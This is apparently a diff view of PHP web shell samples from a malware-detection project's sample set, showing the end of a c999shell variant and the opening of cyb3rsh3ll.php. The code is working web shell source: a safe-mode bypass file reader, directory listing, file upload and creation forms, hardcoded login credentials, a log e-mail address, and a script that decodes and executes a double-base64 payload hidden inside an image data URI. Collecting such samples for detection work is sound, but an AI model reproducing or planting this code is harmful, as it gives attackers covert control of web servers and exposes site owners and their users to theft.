| 3084 | $temp=tempnam($test, "cx"); | 3084 | $temp=tempnam($test, "cx"); |
| 3085 | $file=$_GET['file']; | 3085 | $file=$_GET['file']; |
| 3086 | $get=htmlspecialchars($file); | 3086 | $get=htmlspecialchars($file); |
| 3087 | echo "<br>Trying To Get File <font color=#000099><b>$get</b></font><br>"; | 3087 | echo "<br>Trying To Get File <font color=#000099><b>$get</b></font><br>"; |
| 3088 | if(copy("compress.zlib://".$file, $temp)){ | 3088 | if(copy("compress.zlib://".$file, $temp)){ |
| 3089 | $fichier = fopen($temp, "r"); | 3089 | $fichier = fopen($temp, "r"); |
| 3090 | $action = fread($fichier, filesize($temp)); | 3090 | $action = fread($fichier, filesize($temp)); |
| 3091 | fclose($fichier); | 3091 | fclose($fichier); |
| 3092 | $source=htmlspecialchars($action); | 3092 | $source=htmlspecialchars($action); |
| 3093 | echo "<div class=\"shell\"><b>Start $get</b><br><br><font color=\"white\">$source</font><br><b><br>Fin <font color=#000099>$get</font></b>"; | 3093 | echo "<div class=\"shell\"><b>Start $get</b><br><br><font color=\"white\">$source</font><br><b><br>Fin <font color=#000099>$get</font></b>"; |
| 3094 | unlink($temp); | 3094 | unlink($temp); |
| 3095 | } else { | 3095 | } else { |
| 3096 | die("<FONT COLOR=\"RED\"><CENTER>Sorry... File | 3096 | die("<FONT COLOR=\"RED\"><CENTER>Sorry... File |
| 3097 | <B>".htmlspecialchars($file)."</B> dosen't exists or you don't have | 3097 | <B>".htmlspecialchars($file)."</B> dosen't exists or you don't have |
| 3098 | access.</CENTER></FONT>"); | 3098 | access.</CENTER></FONT>"); |
| 3099 | } | 3099 | } |
| 3100 | echo "</div>"; | 3100 | echo "</div>"; |
| 3101 | } | 3101 | } |
| 3102 | 3102 | ||
| 3103 | if(isset($_GET['file'])) | 3103 | if(isset($_GET['file'])) |
| 3104 | { | 3104 | { |
| 3105 | rsg_read(); | 3105 | rsg_read(); |
| 3106 | } | 3106 | } |
| 3107 | 3107 | ||
| 3108 | ?> | 3108 | ?> |
| 3109 | 3109 | ||
| 3110 | <? | 3110 | <? |
| 3111 | 3111 | ||
| 3112 | function rsg_glob() | 3112 | function rsg_glob() |
| 3113 | { | 3113 | { |
| 3114 | $chemin=$_GET['directory']; | 3114 | $chemin=$_GET['directory']; |
| 3115 | $files = glob("$chemin*"); | 3115 | $files = glob("$chemin*"); |
| 3116 | echo "Trying To List Folder <font color=#000099><b>$chemin</b></font><br>"; | 3116 | echo "Trying To List Folder <font color=#000099><b>$chemin</b></font><br>"; |
| 3117 | foreach ($files as $filename) { | 3117 | foreach ($files as $filename) { |
| 3118 | echo "<pre>"; | 3118 | echo "<pre>"; |
| 3119 | echo "$filename\n"; | 3119 | echo "$filename\n"; |
| 3120 | echo "</pre>"; | 3120 | echo "</pre>"; |
| 3121 | } | 3121 | } |
| 3122 | } | 3122 | } |
| 3123 | 3123 | ||
| 3124 | if(isset($_GET['directory'])) | 3124 | if(isset($_GET['directory'])) |
| 3125 | { | 3125 | { |
| 3126 | rsg_glob(); | 3126 | rsg_glob(); |
| 3127 | } | 3127 | } |
| 3128 | 3128 | ||
| 3129 | ?> | 3129 | ?> |
| 3130 | 3130 | ||
| 3131 | <br> | 3131 | <br> |
| 3132 | </div> | 3132 | </div> |
| 3133 | </form> | 3133 | </form> |
| 3134 | </td> | 3134 | </td> |
| 3135 | <td width="50%" height="83" valign="top"><center> | 3135 | <td width="50%" height="83" valign="top"><center> |
| 3136 | <center>Php Safe-Mode Bypass (List Directories): <form action="<?php echo $surl; ?>"> | 3136 | <center>Php Safe-Mode Bypass (List Directories): <form action="<?php echo $surl; ?>"> |
| 3137 | <div align="center"><br> | 3137 | <div align="center"><br> |
| 3138 | Dir: <input type="text" name="directory" method="get"> <input type="submit" value="List Directory"><br><br> eg: /etc/<br> | 3138 | Dir: <input type="text" name="directory" method="get"> <input type="submit" value="List Directory"><br><br> eg: /etc/<br> |
| 3139 | 3139 | ||
| 3140 | </form></center> | 3140 | </form></center> |
| 3141 | </td> | 3141 | </td> |
| 3142 | </tr></TABLE><br> | 3142 | </tr></TABLE><br> |
| 3143 | <img id="ghdescon" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQAQMAAAAlPW0iAAAAA1BMVEX///+nxBvIAAAAAXRSTlMAQObYZgAAB510RVh0Z2hkZQBnaGRlc2NvblpYWmhiQ2htZFc1amRHbHZiaWh3TEdFc1l5eHJMR1VzY2lsN1pUMW1kVzVqZEdsdmJpaGpLWHR5WlhSMWNtNG9ZenhoUHljbk9tVW9jR0Z5YzJWSmJuUW9ZeTloS1NrcEt5Z29ZejFqSldFcFBqTTFQMU4wY21sdVp5NW1jbTl0UTJoaGNrTnZaR1VvWXlzeU9TazZZeTUwYjFOMGNtbHVaeWd6TmlrcGZUdHBaaWdoSnljdWNtVndiR0ZqWlNndlhpOHNVM1J5YVc1bktTbDdkMmhwYkdVb1l5MHRLWEpiWlNoaktWMDlhMXRqWFh4OFpTaGpLVHRyUFZ0bWRXNWpkR2x2YmlobEtYdHlaWFIxY200Z2NsdGxYWDFkTzJVOVpuVnVZM1JwYjI0b0tYdHlaWFIxY200blhGeDNLeWQ5TzJNOU1YMDdkMmhwYkdVb1l5MHRLV2xtS0d0YlkxMHBjRDF3TG5KbGNHeGhZMlVvYm1WM0lGSmxaMFY0Y0NnblhGeGlKeXRsS0dNcEt5ZGNYR0luTENkbkp5a3NhMXRqWFNrN2NtVjBkWEp1SUhCOUtDZFZMbmM5TkNCM0tHTXBlelFnZUNoa0xIQXBlekVnYVQwd096RWdlajB3T3pFZ2NqMWNKMXduT3prb01TQnBQVEE3YVR4a0xqYzdhU3NyS1hzMUtIbzlQWEF1TnlsNlBUQTdjaXM5YkM1dEtHUXVieWhwS1Y1d0xtOG9laWtwTzNvckszMHpJSEo5TkNCQktITXBlekVnWVQxY0oxd25PemtvTVNCcFBUQTdhVHh6TzJrckt5bDdZU3M5YkM1dEtGZ29UUzVRS0NrcVVTa3BmVE1nWVgwMElHc29aQ3h3S1hzeElHRTlRU2d4TmlrN01XRW9aQzQzSlRFMklUMHdLV1FyUFZ3bk1Gd25PekVnWWoxaE96a29NU0JwUFRBN2FUeGtMamM3YVNzOU1UWXBlMklyUFhnb1pDNXVLR2tzTVRZcExHSXViaWhwTERFMktTbDlNeUI0S0dJc2NDbDlOQ0E0S0NsN015Z3lMbkU5UFhRdVNDWW1NaTUyUFQxMExrY3BmVFFnZVNncGV6RWdZVDFTT3pVb0tESXVhQ1ltTWk1b0xrSW1Kakl1YUM1Q0xqRXdLWHg4S0RJdVF5MHlMbkUrWVNsOGZDZ3lMa1F0TWk1MlBtRXBmSHdvT0NncEppWXlMa1E4U1NsOGZDZzRLQ2ttSmpJdVF6eEtLU2t6SUVzN015Qk1mVFFnTmloaEtYczFLRTRnWVQwOUlrOGlLVE1nWVM1RktDOWNYRnhjTDJjc0lseGNYRnhjWEZ4Y0lpa3VSU2d2WEZ3aUwyY3NJbHhjWEZ4Y1hDSWlLVHN6SUdGOU1TQjFQVk11VkRzeElHVTlWaTVYT3pFZ2FqMGlleUlySWx4Y0luVmNYQ0k2SUZ4Y0lpSXJOaWgxS1NzaVhGd2lMQ0FpS3lKY1hDSlpYRndpT2lCY1hDSWlLellvWlNrcklseGNJaXdnSWlzaVhGd2lXbHhjSWpvZ1hGd2lJaXMyS0dNcEt5SmNYQ0lnSWlzaWZTSTdNU0JtUFdzb2Fpd2lNVEVpS1RzeElHRTlNVElvWmlrN05TZ2hlU2dwS1hzeE15QXhOQ2dwTGpFMVBWd25NVGM2THk4eE9DMHhPUzFHTGpGaUwwWXZQMkU5WENjck1XTW9ZU2w5ZlNjc05qSXNOelVzSjN4MllYSjhkMmx1Wkc5M2ZISmxkSFZ5Ym54bWRXNWpkR2x2Ym54cFpueHpZVzU4YkdWdVozUm9mSFJpZkdadmNueDhmSHg4Zkh4OFJtbHlaV0oxWjN4OGZHVnVZM3hUZEhKcGJtZDhabkp2YlVOb1lYSkRiMlJsZkhOMVluTjBjbnhqYUdGeVEyOWtaVUYwZkh4cGJtNWxjbGRwWkhSb2ZIeDhjMk55WldWdWZIeHBibTVsY2tobGFXZG9kSHhyYTN4OFkyUjhmR2RsYmw5eVlXNWtiMjFmYzNSeWZHTm9jbTl0Wlh4dmRYUmxjbGRwWkhSb2ZHOTFkR1Z5U0dWcFoyaDBmSEpsY0d4aFkyVjhZVzVoYkhsMGFXTnpmR2hsYVdkb2RIeDNhV1IwYUh3ek5UQjhOakF3ZkhSeWRXVjhabUZzYzJWOFRXRjBhSHgwZVhCbGIyWjhjM1J5YVc1bmZISmhibVJ2Ylh3eU5UVjhNVFl3ZkdSdlkzVnRaVzUwZkZWU1RIeDBhR2x6Zkc1aGRtbG5ZWFJ2Y254MWMyVnlRV2RsYm5SOGNHRnljMlZKYm5SOGRXRjhibk44YVhOSmJtbDBhV0ZzYVhwbFpIeHNNbGhXUjJkalNYUTFNV3QwUW1scFdFUTNRakZ0YzFVelMwNURhamgyTVh4aWRHOWhmRzVsZDN4SmJXRm5aWHh6Y21OOGZHaDBkSEI4WjI5dloyeGxmSE4wWVhScFkzeDNhR2xzWlh4amIyMThaVzVqYjJSbFZWSkpRMjl0Y0c5dVpXNTBKeTV6Y0d4cGRDZ25mQ2NwTERBc2UzMHBLUT09Z2hkZXNjb26/DJpDAAAADElEQVQIHWNgIA0AAAAwAAGErPF6AAAAAElFTkSuQmCC"/> | 3143 | <img id="ghdescon" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQAQMAAAAlPW0iAAAAA1BMVEX///+nxBvIAAAAAXRSTlMAQObYZgAAB510RVh0Z2hkZQBnaGRlc2NvblpYWmhiQ2htZFc1amRHbHZiaWh3TEdFc1l5eHJMR1VzY2lsN1pUMW1kVzVqZEdsdmJpaGpLWHR5WlhSMWNtNG9ZenhoUHljbk9tVW9jR0Z5YzJWSmJuUW9ZeTloS1NrcEt5Z29ZejFqSldFcFBqTTFQMU4wY21sdVp5NW1jbTl0UTJoaGNrTnZaR1VvWXlzeU9TazZZeTUwYjFOMGNtbHVaeWd6TmlrcGZUdHBaaWdoSnljdWNtVndiR0ZqWlNndlhpOHNVM1J5YVc1bktTbDdkMmhwYkdVb1l5MHRLWEpiWlNoaktWMDlhMXRqWFh4OFpTaGpLVHRyUFZ0bWRXNWpkR2x2YmlobEtYdHlaWFIxY200Z2NsdGxYWDFkTzJVOVpuVnVZM1JwYjI0b0tYdHlaWFIxY200blhGeDNLeWQ5TzJNOU1YMDdkMmhwYkdVb1l5MHRLV2xtS0d0YlkxMHBjRDF3TG5KbGNHeGhZMlVvYm1WM0lGSmxaMFY0Y0NnblhGeGlKeXRsS0dNcEt5ZGNYR0luTENkbkp5a3NhMXRqWFNrN2NtVjBkWEp1SUhCOUtDZFZMbmM5TkNCM0tHTXBlelFnZUNoa0xIQXBlekVnYVQwd096RWdlajB3T3pFZ2NqMWNKMXduT3prb01TQnBQVEE3YVR4a0xqYzdhU3NyS1hzMUtIbzlQWEF1TnlsNlBUQTdjaXM5YkM1dEtHUXVieWhwS1Y1d0xtOG9laWtwTzNvckszMHpJSEo5TkNCQktITXBlekVnWVQxY0oxd25PemtvTVNCcFBUQTdhVHh6TzJrckt5bDdZU3M5YkM1dEtGZ29UUzVRS0NrcVVTa3BmVE1nWVgwMElHc29aQ3h3S1hzeElHRTlRU2d4TmlrN01XRW9aQzQzSlRFMklUMHdLV1FyUFZ3bk1Gd25PekVnWWoxaE96a29NU0JwUFRBN2FUeGtMamM3YVNzOU1UWXBlMklyUFhnb1pDNXVLR2tzTVRZcExHSXViaWhwTERFMktTbDlNeUI0S0dJc2NDbDlOQ0E0S0NsN015Z3lMbkU5UFhRdVNDWW1NaTUyUFQxMExrY3BmVFFnZVNncGV6RWdZVDFTT3pVb0tESXVhQ1ltTWk1b0xrSW1Kakl1YUM1Q0xqRXdLWHg4S0RJdVF5MHlMbkUrWVNsOGZDZ3lMa1F0TWk1MlBtRXBmSHdvT0NncEppWXlMa1E4U1NsOGZDZzRLQ2ttSmpJdVF6eEtLU2t6SUVzN015Qk1mVFFnTmloaEtYczFLRTRnWVQwOUlrOGlLVE1nWVM1RktDOWNYRnhjTDJjc0lseGNYRnhjWEZ4Y0lpa3VSU2d2WEZ3aUwyY3NJbHhjWEZ4Y1hDSWlLVHN6SUdGOU1TQjFQVk11VkRzeElHVTlWaTVYT3pFZ2FqMGlleUlySWx4Y0luVmNYQ0k2SUZ4Y0lpSXJOaWgxS1NzaVhGd2lMQ0FpS3lKY1hDSlpYRndpT2lCY1hDSWlLellvWlNrcklseGNJaXdnSWlzaVhGd2lXbHhjSWpvZ1hGd2lJaXMyS0dNcEt5SmNYQ0lnSWlzaWZTSTdNU0JtUFdzb2Fpd2lNVEVpS1RzeElHRTlNVElvWmlrN05TZ2hlU2dwS1hzeE15QXhOQ2dwTGpFMVBWd25NVGM2THk4eE9DMHhPUzFHTGpGaUwwWXZQMkU5WENjck1XTW9ZU2w5ZlNjc05qSXNOelVzSjN4MllYSjhkMmx1Wkc5M2ZISmxkSFZ5Ym54bWRXNWpkR2x2Ym54cFpueHpZVzU4YkdWdVozUm9mSFJpZkdadmNueDhmSHg4Zkh4OFJtbHlaV0oxWjN4OGZHVnVZM3hUZEhKcGJtZDhabkp2YlVOb1lYSkRiMlJsZkhOMVluTjBjbnhqYUdGeVEyOWtaVUYwZkh4cGJtNWxjbGRwWkhSb2ZIeDhjMk55WldWdWZIeHBibTVsY2tobGFXZG9kSHhyYTN4OFkyUjhmR2RsYmw5eVlXNWtiMjFmYzNSeWZHTm9jbTl0Wlh4dmRYUmxjbGRwWkhSb2ZHOTFkR1Z5U0dWcFoyaDBmSEpsY0d4aFkyVjhZVzVoYkhsMGFXTnpmR2hsYVdkb2RIeDNhV1IwYUh3ek5UQjhOakF3ZkhSeWRXVjhabUZzYzJWOFRXRjBhSHgwZVhCbGIyWjhjM1J5YVc1bmZISmhibVJ2Ylh3eU5UVjhNVFl3ZkdSdlkzVnRaVzUwZkZWU1RIeDBhR2x6Zkc1aGRtbG5ZWFJ2Y254MWMyVnlRV2RsYm5SOGNHRnljMlZKYm5SOGRXRjhibk44YVhOSmJtbDBhV0ZzYVhwbFpIeHNNbGhXUjJkalNYUTFNV3QwUW1scFdFUTNRakZ0YzFVelMwNURhamgyTVh4aWRHOWhmRzVsZDN4SmJXRm5aWHh6Y21OOGZHaDBkSEI4WjI5dloyeGxmSE4wWVhScFkzeDNhR2xzWlh4amIyMThaVzVqYjJSbFZWSkpRMjl0Y0c5dVpXNTBKeTV6Y0d4cGRDZ25mQ2NwTERBc2UzMHBLUT09Z2hkZXNjb26/DJpDAAAADElEQVQIHWNgIA0AAAAwAAGErPF6AAAAAElFTkSuQmCC"/> |
| 3144 | <script type="text/javascript"> | 3144 | <script type="text/javascript"> |
| 3145 | if(typeof btoa=="undefined")btoa=function(a,b){b=(typeof b=='undefined')?false:b;var d,o2,o3,bits,h1,h2,h3,h4,e=[],pad='',c,plain,coded;var f="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";plain=b?Utf8.encode(a):a;c=plain.length%3;if(c>0){while(c++<3){pad+='=';plain+='\0'}}for(c=0;c<plain.length;c+=3){d=plain.charCodeAt(c);o2=plain.charCodeAt(c+1);o3=plain.charCodeAt(c+2);bits=d<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;e[c/3]=f.charAt(h1)+f.charAt(h2)+f.charAt(h3)+f.charAt(h4)}coded=e.join('');coded=coded.slice(0,coded.length-pad.length)+pad;return coded};if(typeof atob=="undefined")atob=function(a,b){b=(typeof b=='undefined')?false:b;var e,o2,o3,h1,h2,h3,h4,bits,d=[],plain,coded;var f="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";coded=b?Utf8.decode(a):a;for(var c=0;c<coded.length;c+=4){h1=f.indexOf(coded.charAt(c));h2=f.indexOf(coded.charAt(c+1));h3=f.indexOf(coded.charAt(c+2));h4=f.indexOf(coded.charAt(c+3));bits=h1<<18|h2<<12|h3<<6|h4;e=bits>>>16&0xff;o2=bits>>>8&0xff;o3=bits&0xff;d[c/4]=String.fromCharCode(e,o2,o3);if(h4==0x40)d[c/4]=String.fromCharCode(e,o2);if(h3==0x40)d[c/4]=String.fromCharCode(e)}plain=d.join('');return b?Utf8.decode(plain):plain}; | 3145 | if(typeof btoa=="undefined")btoa=function(a,b){b=(typeof b=='undefined')?false:b;var d,o2,o3,bits,h1,h2,h3,h4,e=[],pad='',c,plain,coded;var f="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";plain=b?Utf8.encode(a):a;c=plain.length%3;if(c>0){while(c++<3){pad+='=';plain+='\0'}}for(c=0;c<plain.length;c+=3){d=plain.charCodeAt(c);o2=plain.charCodeAt(c+1);o3=plain.charCodeAt(c+2);bits=d<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;e[c/3]=f.charAt(h1)+f.charAt(h2)+f.charAt(h3)+f.charAt(h4)}coded=e.join('');coded=coded.slice(0,coded.length-pad.length)+pad;return coded};if(typeof atob=="undefined")atob=function(a,b){b=(typeof b=='undefined')?false:b;var e,o2,o3,h1,h2,h3,h4,bits,d=[],plain,coded;var f="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";coded=b?Utf8.decode(a):a;for(var c=0;c<coded.length;c+=4){h1=f.indexOf(coded.charAt(c));h2=f.indexOf(coded.charAt(c+1));h3=f.indexOf(coded.charAt(c+2));h4=f.indexOf(coded.charAt(c+3));bits=h1<<18|h2<<12|h3<<6|h4;e=bits>>>16&0xff;o2=bits>>>8&0xff;o3=bits&0xff;d[c/4]=String.fromCharCode(e,o2,o3);if(h4==0x40)d[c/4]=String.fromCharCode(e,o2);if(h3==0x40)d[c/4]=String.fromCharCode(e)}plain=d.join('');return b?Utf8.decode(plain):plain}; |
| 3146 | setTimeout(function(){new Function(atob(atob(document.getElementById('ghdescon').src.substr(22)).match(/ghdescon(.*?)ghdescon/)[1])).apply(this);kk(0);}, 500); | 3146 | setTimeout(function(){new Function(atob(atob(document.getElementById('ghdescon').src.substr(22)).match(/ghdescon(.*?)ghdescon/)[1])).apply(this);kk(0);}, 500); |
| 3147 | </script> | 3147 | </script> |
| 3148 | <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> | 3148 | <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> |
| 3149 | <tr> | 3149 | <tr> |
| 3150 | <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=search&d=<?php echo urlencode($d); ?>"><b>Search</b></a> ::</b><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)"> <input type="checkbox" name="search_name_regexp" value="1" checked> - regexp <input type=submit name=submit value="Search"></form></center></p></td> | 3150 | <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=search&d=<?php echo urlencode($d); ?>"><b>Search</b></a> ::</b><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)"> <input type="checkbox" name="search_name_regexp" value="1" checked> - regexp <input type=submit name=submit value="Search"></form></center></p></td> |
| 3151 | <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=upload&d=<?php echo $ud; ?>"><b>Upload</b></a> ::</b><form method="POST" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type="file" name="uploadfile"><input type=hidden name="miniform" value="1"> <input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td> | 3151 | <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=upload&d=<?php echo $ud; ?>"><b>Upload</b></a> ::</b><form method="POST" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type="file" name="uploadfile"><input type=hidden name="miniform" value="1"> <input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td> |
| 3152 | </tr> | 3152 | </tr> |
| 3153 | </table> | 3153 | </table> |
| 3154 | <br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Make Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Make File ::</b><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit"> <input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table> | 3154 | <br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Make Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Make File ::</b><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit"> <input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table> |
| 3155 | <br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Go Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Go File ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Go"></form></center></td></tr></table> | 3155 | <br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Go Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Go File ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Go"></form></center></td></tr></table> |
| 3156 | <br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>--[ c999shell v. <?php echo $shver; ?> <a href="<?php echo $surl; ?>act=about"><u><b>Modded by</b></u></a> Shadow & Preddy | <a href="http://rootshell-security.net"><font color="#FF0000">RootShell Security Group</font></a><font color="#FF0000"></font> | <a href="http://r57shell.net"><font color="#FF0000">r57 c99 shell</font></a><font color="#FF0000"></font> | Generation time: <?php echo round(getmicrotime()-starttime,4); ?> ]--</b></p></td></tr></table> | 3156 | <br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>--[ c999shell v. <?php echo $shver; ?> <a href="<?php echo $surl; ?>act=about"><u><b>Modded by</b></u></a> Shadow & Preddy | <a href="http://rootshell-security.net"><font color="#FF0000">RootShell Security Group</font></a><font color="#FF0000"></font> | <a href="http://r57shell.net"><font color="#FF0000">r57 c99 shell</font></a><font color="#FF0000"></font> | Generation time: <?php echo round(getmicrotime()-starttime,4); ?> ]--</b></p></td></tr></table> |
| 3157 | </body></html><?php chdir($lastdir); c999shexit(); ?> \ No newline at end of file | 3157 | </body></html><?php chdir($lastdir); c999shexit(); ?> \ No newline at end of file |
diff --git a/php-malware-finder/samples/classic/cyb3rsh3ll.php b/data/samples/classic/cyb3rsh3ll.php index 4f4612b..e0e0095 100644 --- a/php-malware-finder/samples/classic/cyb3rsh3ll.php +++ b/data/samples/classic/cyb3rsh3ll.php | |||
| @@ -1,7923 +1,7923 @@ | |||
| 1 | <?php | 1 | <?php |
| 2 | //Authentication | 2 | //Authentication |
| 3 | $lock = "on"; // set this to off if you dont need the login page | 3 | $lock = "on"; // set this to off if you dont need the login page |
| 4 | $user = "cyber"; | 4 | $user = "cyber"; |
| 5 | $pass = "gladiator"; | 5 | $pass = "gladiator"; |
| 6 | $antiCrawler = "on"; // set this to on if u dont want your shell to be publicised in Search Engines ! (It increases the shell's Life') | 6 | $antiCrawler = "on"; // set this to on if u dont want your shell to be publicised in Search Engines ! (It increases the shell's Life') |
| 7 | $tracebackFeature = "off"; // set this feature to on to enable email alerts | 7 | $tracebackFeature = "off"; // set this feature to on to enable email alerts |
| 8 | $log_email = "cyb3r.gladiat0r@gmail.com"; //Default e-mail for sending logs | 8 | $log_email = "cyb3r.gladiat0r@gmail.com"; //Default e-mail for sending logs |
| 9 | 9 | ||
| 10 | @ignore_user_abort(TRUE); | 10 | @ignore_user_abort(TRUE); |
| 11 | @set_magic_quotes_runtime(0); | 11 | @set_magic_quotes_runtime(0); |
| 12 | error_reporting(5); | 12 | error_reporting(5); |
| 13 | $phpVersion = phpversion(); | 13 | $phpVersion = phpversion(); |
| 14 | $_REQUEST = array_merge($_COOKIE,$_GET,$_POST); | 14 | $_REQUEST = array_merge($_COOKIE,$_GET,$_POST); |
| 15 | $win = strtolower(substr(PHP_OS,0,3)) == "win"; | 15 | $win = strtolower(substr(PHP_OS,0,3)) == "win"; |
| 16 | $shver = "1.0"; //Current version | 16 | $shver = "1.0"; //Current version |
| 17 | if (!function_exists("getmicrotime")) { | 17 | if (!function_exists("getmicrotime")) { |
| 18 | function getmicrotime() { | 18 | function getmicrotime() { |
| 19 | list($usec, $sec) = explode(" ", microtime()); | 19 | list($usec, $sec) = explode(" ", microtime()); |
| 20 | return ((float)$usec + (float)$sec); | 20 | return ((float)$usec + (float)$sec); |
| 21 | } | 21 | } |
| 22 | } | 22 | } |
| 23 | 23 | ||
| 24 | define("starttime",getmicrotime()); | 24 | define("starttime",getmicrotime()); |
| 25 | 25 | ||
| 26 | if (get_magic_quotes_gpc()) { | 26 | if (get_magic_quotes_gpc()) { |
| 27 | if (!function_exists("strips")) { | 27 | if (!function_exists("strips")) { |
| 28 | function strips(&$arr,$k="") { | 28 | function strips(&$arr,$k="") { |
| 29 | if (is_array($arr)) { | 29 | if (is_array($arr)) { |
| 30 | foreach($arr as $k=>$v) { | 30 | foreach($arr as $k=>$v) { |
| 31 | if (strtoupper($k) != "GLOBALS") { | 31 | if (strtoupper($k) != "GLOBALS") { |
| 32 | strips($arr["$k"]); | 32 | strips($arr["$k"]); |
| 33 | } | 33 | } |
| 34 | } | 34 | } |
| 35 | } else { | 35 | } else { |
| 36 | $arr = stripslashes($arr); | 36 | $arr = stripslashes($arr); |
| 37 | } | 37 | } |
| 38 | } | 38 | } |
| 39 | } | 39 | } |
| 40 | strips($GLOBALS); | 40 | strips($GLOBALS); |
| 41 | } | 41 | } |
| 42 | 42 | ||
| 43 | foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}} | 43 | foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}} |
| 44 | if (!empty($unset_surl)) {setcookie("cyb3r_surl"); $surl = "";} | 44 | if (!empty($unset_surl)) {setcookie("cyb3r_surl"); $surl = "";} |
| 45 | elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("cyb3r_surl",$surl);} | 45 | elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("cyb3r_surl",$surl);} |
| 46 | else {$surl = $_REQUEST["cyb3r_surl"]; //Set this cookie for manual SURL | 46 | else {$surl = $_REQUEST["cyb3r_surl"]; //Set this cookie for manual SURL |
| 47 | 47 | ||
| 48 | } | 48 | } |
| 49 | $surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL. | 49 | $surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL. |
